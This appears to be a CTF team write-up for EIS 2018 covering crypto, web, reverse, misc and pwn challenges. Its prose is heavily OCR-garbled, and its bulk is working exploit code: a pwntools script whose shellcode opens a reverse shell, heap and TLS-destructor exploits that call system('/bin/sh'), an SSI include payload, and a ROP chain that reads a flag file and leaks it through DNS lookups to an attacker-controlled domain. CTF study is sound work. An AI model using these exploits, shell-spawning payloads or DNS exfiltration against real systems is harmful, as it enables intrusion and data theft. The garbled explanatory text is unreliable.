EIS 2018 Writeup

author: AAA

crypto

Azure RSA
BENT N2 2EBFAEREq, pl, p2
2. 5% ged(e, p(n)) = 14, TEEIEKRI
B &I ged(e1,p1 — 1) = ged(ez,p2 — 1) = 2
HATAKRH m? mod py 1 m? mod p,
3. MAGHKRE, BFARSEEIflag:
EIS{CommOn_Div15or_plus_CRT_is_so_easy|cb2733b9e69ab3a9bd526fa1}

Azure Oracle

1. #MERIRSA LSB Oracle, EXlflagikECHE, mILAMITEE TR TENRE
2. LSBRAAESHINZ, {BunpadXEFERE, HINFETEIERERLSB, AJZZPOODLE ATTACK
3. EFR-ofE, MIBXHEEDHEflag:

EIS{13reak_7he_Oracl3_!5 32}

Azure 3AES

1. RESFHNINECEER, FHEFERmMask1Hmask2

2. mask3tID AEAMEN D, 2A#HTHEEE

3. shiEtEB R ERsuffix1Msuffix2, SAEA3 T keyfEZ15%flag:
EIS{DOubl3_meet_In_7he_rnidd1e!}

web

SimpleBBS
T SQLIEN, BREAMP &R EMTIE.
SimpleBlog

ZREN, MRATERPRL, REEM TAP &P Payload BIF], MIREEEANERUES N O,

SNMEED.

SimpleServerinjection



REBA/Y SSI,

<!--%23include+virtual%3D"flag"+-->

SimpleExtensionExplorerinjection

B XXE, AG2REHIT, LhrEMEmE CVE-2018-1259, A%, payload &
Z: https:/github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1259

SimplePrintEventLogger

AGERBEIT, LiRLERRE CVE-2018-1273, I HMAIIHREEER XXE £BH FHER, #HIE
EATY, T ARKZEIERR, REE], XTXTREMLERZOMH, HOEEI—T,
Payload B EIXE, AIASZE—T:

https://github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1273

SimpleWebAssemblyReverse

wasm i¥[a, BFFKIZIE,
Bll—R—RE, A&7 XEHE,

(if $I1
(get_local $1171)

£ S MEAMETE $1171, HEUEXERS

(set_local $1171
(i32.ne
(get_local $1170)
(i32.const 38)))

R ZiRFIT $1170 2E R 38,

(set_local $1170
(get_local $1151))

(set_local $1151
(get_local $pl))

AJ13 $1170 Z2EEHFNE TS, Bl flag WKE, XEBFIMTT flag IREZEN 38, MRAEN
BEANRXIN DX, BERKXEBZRWEE, B flag &\ A flag(.{32}\} . BfIERH., FIRET —HXR
WESFHNT —T1ER.

(loop S$L2
(block $B3
(set_local $1180


https://github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1259
https://github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1273

(get_local $1132))
(set_local $1181
(i32.1t u
(get_local $1180)
(i32.const 3)))
(if $I4
(i32.eqz
(get_local $1181))//NIHKRXNFZMEBSBERE false, BN 0 < 3 B
True, FEEITEE 132 | 1.@HRHITZIR,
(then
(br $B3)))
(set_local $1182
(get_local $1131))// E—T, HIMEHKk L. BEEERMTLEMNBHEIE, A
fEsgHIEEEl L2,
(set_local $1183
(get_local $1132))
(set_local $1184 // $1184 = $1182 + iH##; << 2, HHEBHHIZ0,1,2.
(i32.add
(get_local $1182)
(i32.shl
(get_local $1183)
(i32.const 2))))
(i32.store
(get_local $1184) // B $1184 XNkttt +2 +4 +8 MIMIBEWAMLA 0.
(i32.const 0))
(set_local $1185
(get_local $1132))
(set_local $1186
(i32.add
(get_local $1185)
(i32.const 1)))
(set_local $1132
(get_local $1186))// it&ExasnL.
(br $L2)))// REBEKELZMHIE. . . MEVENT — TR LN NMIE, TXEZE,
BEE.

BRGRIER.
T—"1EH.

(loop SL5
(block $B6
(set_local $1187
(get _local $1153)) // $1187
(set_local $1188
(get local $1151)) // $1188
(set_local $1189

$1153

1]
o

$1151 = $pl XEE 38

(i32.eq
(get_local $1187)



(get_local $1188))) // EMFIBTBELE M,
(if $17
(get_local $1189)
(then
(br $B6))) // WRFHEFEM—ER/RATE, XENZMEBHFRHET
(set_local $17
(get_local $1150)) // $17
(set_local $18
(get_local $1153)) // $18 $1153 tHEiEITERES
(set_local $19 // $19 = It¥&8 + 1
(i32.add
(get_local $18)
(i32.const 1)))
(set_local $1153 // IT#18% = H#&E + 1
(get_local $19))
(set_local $110 // $110 FARHRIFHRTAVHBLE,
(i32.add
(get_local $17)
(get_local $18)))
(set_local $111 // $111 &M $110 X PHBUEIREX 8 i, MR 1 FW. BIFRH
BEHAE] index F
(i32.1l0ad8_s
(get_local $110)))
(set_local $112
(i32.shr_s
(i32.shl
(get_local $111)
(i32.const 24))
(i32.const 24))) // FTEBEBRSA®E, FEXEETSAL.
(set_local $113 // $113 = HEIFET + 3
(i32.add
(get_local $112)
(i32.const 3)))
(set_local $114 // $114 = $113 & 255
(i32.and
(get_local $113)
(i32.const 255)))
(set_local $1110
(get_local $1155))
(set_local $1111 // $1111 = $114
(get_local $114))
(set_local $115
(get_local $1110))
(set_local $116 // $116 = $1111
(get_local $1111))
(call $£797 // $£797 LEREZ, BEKEZETERE, NIZFAEERERIIRIE, B
EEEREENE, BRI strcat XHFERVIRIE,
(get_local $115)
(get_local $116))

$1150 = $p0, BFEHANUENRNFITEAILL,



(br $L5))

BER., BINAAZBNEREEZENSHEIFT +3 FEHNER.

EENSERSLERE, KEEERLNRE, BFFEABINEEREMNMRZ LSLEREM, TS
ZF https://xz.aliyun.com/t/2854, #E ida 7.2 NMEA wasm_emu BEEREBFTE, AhTE, KN
Filtk. BAIXEATLERH T function call, EE&EREERRT, T—7 function call, £l
52, EBEEBXTRET WA,

(set_local $1156
(i32.1l0ad8_s
(get_local $195)))
(set_local $1158
(i32.and
(get_local $1156)
(i32.const 255)))
(set_local $1159
(i32.and
(get_local $1158)
(i32.const 3)))
(set_local $1160
(i32.shl
(get_local $1159)
(i32.const 4)))
(set_local $1161
(i32.add
(get_local $195)
(i32.const 1)))
(set_local $1162
(i32.10ad8_s
(get_local $1161)))
(set_local $1163
(i32.and
(get_local $1162)
(i32.const 255)))
(set_local $1164
(i32.shr_s
(get_local $1163)
(i32.const 4)))

(B—TFTW&3) <<4+FBNFT >4

(set_local $1199
(i32.and
(get_local $1198)
(i32.const 15)))
(set_local $1200
(i32.shl


https://xz.aliyun.com/t/2854

(get_local $1199)
(i32.const 2)))
(set_local $1202
(i32.add
(get_local $195)
(i32.const 2)))
(set_local $1203
(i32.1l0ad8_s
(get_local $1202)))
(set_local $1204
(i32.and
(get_local $1203)
(i32.const 255)))
(set_local $1205
(i32.and
(get_local $1204)
(i32.const 192)))
(set_local $1206
(i32.shr_s
(get_local $1205)
(i32.const 6)))

(BEZPFT &0xf) << 2+ (BF=TFT &0xc0)>>6

(set_local $1239
(i32.add
(get_local $195)
(i32.const 2)))
(set_local $1240
(i32.10ad8_s
(get_local $1239)))
(set_local $1241
(i32.and
(get_local $1240)
(i32.const 255)))
(set_local $1242
(i32.and
(get_local $1241)
(i32.const 63)))

FEOMNFT & 0x3f

XERE IR T EUR 797, HEMERNIEBUNFREHE, XRBEEZSHERAL? ALY
[ E LKA base64 encode, FIIXEBEZEHMATEEF T . B1TFT +3, /5 base64 encode,
RENZEN—TFRHEHITIER. £ data RETLARE, Bl
aW9kan40NGgzOTNKNWZoNDtIOjloNmk10ThmNzk402dkPDRoZoA=

SEFHFSEREFETF TR 3 BlF,



reverse

hideandseek

256/ PAEEREL, UAKflagikERIIERE, S—FEHSMZ L —BEHERET R, daBig
HE—ENFNRARITERENT, flagiiEES—#T, B—"—x=XH1E, BIRBEZE
MHLZRFNRE, PIUNEERBRREREEAM,

tailbone

FEFPE—%ANatoi R EIE T, EXNAETE MM T fini_arrayPRE—IN, BN REH
Zleh_framedr, STRAIRRZANT:

code = """
movaps xmm0, xmmword ptr [{flag_addr}]

movaps xmml, xmmword ptr [{flag addr} + 0x10]

movaps xmm2, xmmword ptr [{key_addr}]

movaps xmm3, xmmword ptr [{key addr} + 0x10]
movaps xmm4, xmmword ptr [{key addr} + 0x20]
movaps xmm5, xmmword ptr [{key_addr} + 0x30]
movaps xmm6, xmmword ptr [{key addr} + 0x40]
movaps xmm7, xmmword ptr [{key addr} + 0x50]
movaps xmm8, xmmword ptr [{key_ addr} + 0x60]
movaps xmm9, xmmword ptr [{key addr} + 0x70]

aesenc xmm0O, xmm2
aesenc xmm0O, xmm3
aesenc xmm0O, xmmé4

aesenc xmmO, xmm5

aesenc xmml, xmmé6
aesenc xmml, xmm7
aesenc xmml, xmm8

aesenc xmml, xmm9

movaps xmmword ptr [{flag addr}], xmmO

movaps xmmword ptr [{flag addr} + 0x10], xmml

XOr rCX, ¥rCx
lea rdi, byte ptr [enc_data]
lea rsi, byte ptr [{flag addr}]

check_loop:
mov al, byte ptr [rdi + rcx]
cmp al, byte ptr [rsi + rcx]

jnz {flag wrong}



inc rcx

cmp rcx, 0x20

jnz check_loop
jmp {flag correct}

.align 0x10

enc_data:

keyMcipherfEIEEZFH T, HIEK

misc

elfrand

FEMAE R Relf, RERLERRAER,
1B, EAMEREWHB 927, .

#!/usr/bin/env python

# -*- coding: utf-8 -*-

nnn Himyth / AAA nnn

from pwn import *

def leak_ bytes(offset,

p.sendlineafter('offset:

def leak xword(offset,

data = leak_bytes(offset,

return map(u64, [data[_:

def leak_dword(offset,

data = leak_bytes(offset,

return map(u32, [data[_:

p = remote("localhost",

shdr_offset = leak_xword(0x28,

SHT STRTAB = 3
SHT DYNSYM = 11
SHT GNU_HASH

strtab = None

dynsym = None
gnuhash = None
shndx = 1

Ox6ffffff6

FFERKMEagEIRNMERN, BEZ

RRIBR S ERAERENA

', '%x' % offset)

return p.recvline().strip().decode( ' 'hex')

note)

note)

22222)

+ 8] for _

+ 4] for _

in xrange (0,

in xrange(O0,

'shdr_offset')[0]

8,

8,

RREAFIRIE

8)1)

4)1)

j(/\

nxwa)



while not (strtab and dynsym and gnuhash):
offset = shdr offset + 0x40 * shndx

sh_type = leak dword(offset, 'sh type')[1l]

if sh type == SHT DYNSYM and dynsym is None:

dynsym = leak xword(offset + 0x18,
= SHT STRTAB and strtab is
strtab = leak xword(offset + 0x18,

if sh_type

'dynsym offset')[0]
None:
'strtab offset')[0]

if sh_type == SHT GNU_HASH and gnuhash is None:

gnuhash = leak_xword(offset + 0x18,

shndx += 1

# generate gnu-hash for string
def gnu hash(s):
h = 5381
for ¢ in s:
h =h * 33 + ord(c)
return h & Oxffffffff

# calculate target variable hash value

'gnuhash _offset')[0]

flag hash = gnu_hash('cool man i am your sweet flag lol')

# leak metadatas in gnu_hash table
nbuckets, symndx = leak dword(gnuhash,

maskwords, _ = leak dword(gnuhash + 8,

# calculate buckets/chains offset,
buckets = gnuhash + 0x10 + 8 * maskwords
chains = buckets + 4 * nbuckets

bucket _index = flag hash % nbuckets

'gnu_hash metadata')

'gnu_hash_metadata')

and flag index

# leak chain_index in bucket, and calculate chain offset

chain_index = leak dword(buckets + bucket index * 4,

'gnu_hash buckets data')[0]

chain = chains + 4 * (chain_index - symndx)

# leak chains data, and calculate flag symbol index

flag hash = flag hash & (2 ** 32 - 2)

chainoff = 0

while True:

hashl, hash2 = leak dword(chain + chainoff * 4, 'gnu hash chain data')

hashl
hash2
if flag_hash == hashl:

hashl & (2 ** 32 - 2)
hash2 & (2 ** 32 - 2)

flag symbol index = chain_index + chainoff

elif flag hash == hash2:

flag_symbol_index = chain_index + chainoff + 1

else:
chainoff += 2

continue



break

flag symbol = dynsym + 24 * flag symbol index

# leak flag offset in flag symbol, calculate actual offset
flag address = leak xword(flag_symbol + 8, 'flag st value')[0]
flag offset = flag address - 0x200000

# leak whole flag body and disassemble
flag = "'
for i in xrange(5):

flag += leak bytes(flag offset + i * 8, 'flag')
print 'flag:', flag

p.close()

§080g0

icmp tunneliSftpiitE, BHEHZEHEIF]
shellcodencrypt

shellcode 2R BB A AN R ELINEE, BRI RENH EFeistel WKL, FIAAFERE@INE
R, RABFESERMBRYENOFR—TEEIMFENPTSERIERSENBAN . IURTER
shellcodeZ e R#EENA], returncode RZFH XA, ERBIMERARRElagT . .

#!/usr/bin/env python

# —*— coding: utf-8 -*-

""" Himyth / AAA """

from pwn import *

import sys, os, re

context (arch='amd64', os='linux', log level='info')

context (terminal=[ 'gnome-terminal', '--', 'zsh', '-c'])
p = remote('127.0.0.1"', 22222)

def swap(s):
result = "'

for i in xrange(0, len(s), 8):
result += s[i + 4:1 + 8] + s[i:i + 4]

return result

sc = shellcraft.amdé64

shellcode = "'

shellcode += sc.connect(host='127.0.0.1"', port=55555, network='ipv4')
shellcode += sc.dup2('rbp', 0)

shellcode += sc.dup2('rbp', 1)

shellcode += sc.dup2('rbp', 2)

shellcode += sc.execve("/bin/sh", 0, 0)

shellcode = asm(shellcode, arch="amd64").ljust(0x80, '\x90")



p.recvuntil('here is your base64-encoded target file:\n')
binary = base64.b64decode(p.recvline().strip())

local binary = os.path.abspath('./shellcodencrypt')
open(local binary, 'wb').write(binary)

os.system( 'chmod +x %s' % local binary)

g = process(argv=[local binary])

dumpfile = os.path.abspath('./afterencrypt')
gdb.attach(q, gdbscript="""

b *main+0x40

command 1

dump memory %s S$Srbx $rbx+0x80
quit

end

continue

)
g.send(swap(shellcode))

$ dumpfile

while not os.path.exists(dumpfile):
import time
time.sleep(1l)
encrypted = open(dumpfile, 'rb').read(0x80)

g.close()

reverse = listen(55555)

p.recvuntil('now your base64-encoded shellcode please:\n')
p.sendline(base64.b64encode(swap(encrypted)))
reverse.wait for connection()

reverse.interactive()

uncaptcha/checkin

asciiartjnithd, RF/ERFMBNFHREXALLREY, ROBSXBMLEER M T checkin,
BEFRi%B A RIS KEN SR EERRE TR T .

youchat

AR AInonce A timestamp, MitimestampR] AME—"1"pcapngH #httpid sk FRIAT )2,
LERERNNEREELR, AEMNLEREPNESMAINERLINZEkey M Kflag,

pwnable

hack

EEMIE, old ebp, AIUMtls_dtor_listh)A3%, LAE—PHAMlibciexp:

from pwn import *

from time import *



libc = ELF('./libc.so.6")
elf = ELF('./p.out')
r = process('./p.out')

context(arch='i386"', os='linux', log_level='debug')

r.sendlineafter('address: ', str(int('0804a010', base = 16)))
r.recvuntil(', ")

recv = r.recv(1l0)

printf address = int(recv, base = 16)

print hex(printf address)

libc.address = printf address - libc.symbols[ 'printf']

print "libc address is:", hex(libc.address)

raw_input()

gs_18 address = libc.address + (0xb7705958 - 0xb7511000)
print "gs_ 18 address is:", hex(gs_18_ address)
r.sendlineafter('chance: ', str(gs_18 address))
r.recvuntil(', ")

recv = r.recv(1l0)

gs_18 value = int(recv, base = 16)

print hex(gs_18 value)

tls dtor list address = libc.address + (0xb7705914 - 0xb7511000)

print "tls_dtor list_address is: ", hex(tls_dtor list address)

r.recvuntil('node is ')

recv = r.recvuntil(',"')[:-1]

fake list address = int(recv, base = 16)

print "the fake list is at", hex(fake list address)

A

want_result = libc.symbols[ 'system'] gs_18 value
print 'want result:', hex(want result)

here = want_result << 9

print 'here:', hex(here)

here2 = here & Oxffffffff

here2 += here >> 32

print 'here2:', hex(here2)

fake struct = p32(here2)

fake struct += p32(libc.search('/bin/sh').next())
fake struct += p32(fake_list_address)

fake struct += p32(tls _dtor list address - 8)

r.sendlineafter('now: ', fake_struct)



r.interactive()

justnote

REETRNNAREREREEEZEEE S, MUAAUGIKEREEMERRE R RE ., BEZE
ROER AT AR B RIE T, REEMERFEARENexp—F:

from pwn import *
# context.log level = 'debug'

binary = './justnote'

elf = ELF(binary)

libc = ELF('libc6_ 2.23-0ubuntul0 amd64.so')

env = {"LD PRELOAD": os.path.join(os.getcwd(), "./pwn/xtu/libc6 2.23-
OubuntulO0_amd64.so")}

io = remote('210.32.4.17"',13376)

# io = process(binary)

def p():
gdb.attach(io)
raw_input()

def choice(c):
io.recvuntil( 'choice: ')
io.sendline(str(c))

def add(size,content):
choice(1)
io.recvuntil('of note: ')
io.sendline(str(size))
io.recvuntil( 'note: ')
io.send(content)

def delete(index):
choice(2)
io.recvuntil('of note: ')
io.sendline(str(index))

def edit(index,content):
choice(3)
io.recvuntil('of note: ')
io.sendline(str(index))
io.recvuntil( 'note: ')

io.send(content)

add(-0x1FFFFFFFFFFFFFFFFFFFFFFFF, '\n')#0
add(0x100, 'B'*0xff)#1

add(0x100, 'C"*0x£ff)#2

add(0x100, 'D'*0xff)#3

delete(1)



edit (0, 'A'*0x108 + p64(0x113)+'\n")

add(0x100
io.recvun
leak u6b

libc_base

,'B'*0x8+'\n")

til('B'*8)

4(io.recv(6).1ljust (8, '\x00"'))

leak - libc.symbols[' malloc_hook'] - 0x10 - 0x58

iolist = libc_base + libc.symbols[' IO list all']

sys = libc_base + libc.symbols[ 'system']

fake file = p64(0)

fake file += p64(0x61)

fake file += p64(1)

fake file += p64(iolist- 0x10)

fake file += p64(2) + p64(3)

fake file += "\x00" * 8

fake file += p64(libc_base + next(libc.search('/bin/sh\x00'))) #/bin/sh
addr

fake file += (0xc0-0x40) * "\x00"

fake file += p32(0) #mode

fake file += (0xd8-0xc4) * "\x00"

fake file += p64(libc_base + 0x3c37b0 - 0x18) #vtable addr
fake file += (0xe8-0xe0) * "\x00"

fake file += p64(sys)

delete(2)

edit(0,'A'*0x108 +p64(0x111) + 'B'*0x100+ fake file+p64(0)*5 +
p64(0x111)+'\n")

choice(1)

io.intera

ctive()

dns_of_melody

B,

BRAE RS T execve, execveat, forkF—Esyscall, EIELEAZshell, FHEERITropZHIXH
T0, 1, 2, MB&4Alibc, 8EHRZgadgetA ] LAA, WaETFUEEH flag,

#1/usr/bi
# —-*- cod

__author

from pwn
import sy

context (b

# libc
elf

con

& FFcanaryi&Fpie, FRIARIAE#EH1Tgadget,

FERfR A=A R E B/ MdnsIheE, LR EEIES${flagl.yourevil.domain.comiX#¥Mig &, B—
BEBECHserver E—1dnsBRS3 28, XA BEURE!flag,

n/env python
ing: utf-8 -*-
"Kira / AAA"

import *
S

inary='./dns_of melody', os='linux', log level='info')

ELF('.")

text.binary



if len(sys.argv) > 1:
if sys.argv[l] == 'r':
p = remote('', )

else:

# remote

p = elf.process(env={'LD_PRELOAD':

p.sendlineafter('Select:\n', '1")

p.sendlineafter('length: \n', '80')

p.sendline('A' * 10)

p.sendlineafter('Select:\n', '2")

p.sendlineafter('index: \n', '0")

# context.log level = 'debug'

raw_input('xx"')

p.sendlineafter('Select:\n', '4")

p.sendlineafter('index: \n', '0")

payload

payload += '\x00./flag\x00'
payload = payload.ljust(0xal0 - 0x870,

# open("flag", 0)

payload += p64(0x601FE8)
# 0x00000000004012b3: pop
payload += flat(0x4012b3,
# 0x00000000004012bl: pop
payload += flat(0x4012bl,
# 0x00000000004016eb: jmp
payload += flat(0x401l6eb)

# read(0, buf, rdx)

payload += flat(0x4012b3,
payload += flat(0x4012bl,
# 0x0000000000400b28: pop
payload += flat(0x400b28,
payload += flat(0x401l6eb)

# gethostbyname (buf)
payload += flat(0x4012b3,
payload += p64(0x400F68)
p.sendline(payload)

p.interactive()

# rbp

rdi; ret;

1

'.test.lovekira.cn'.rjust(0x50, 'A'")

"\0")

0x602060 + 0x51)

rsi; pop rl5; ret;

0, 0)

gword ptr [rbp];

0)

0x602060,
rbp; ret;
0x601FB8)

0x602060)

0)
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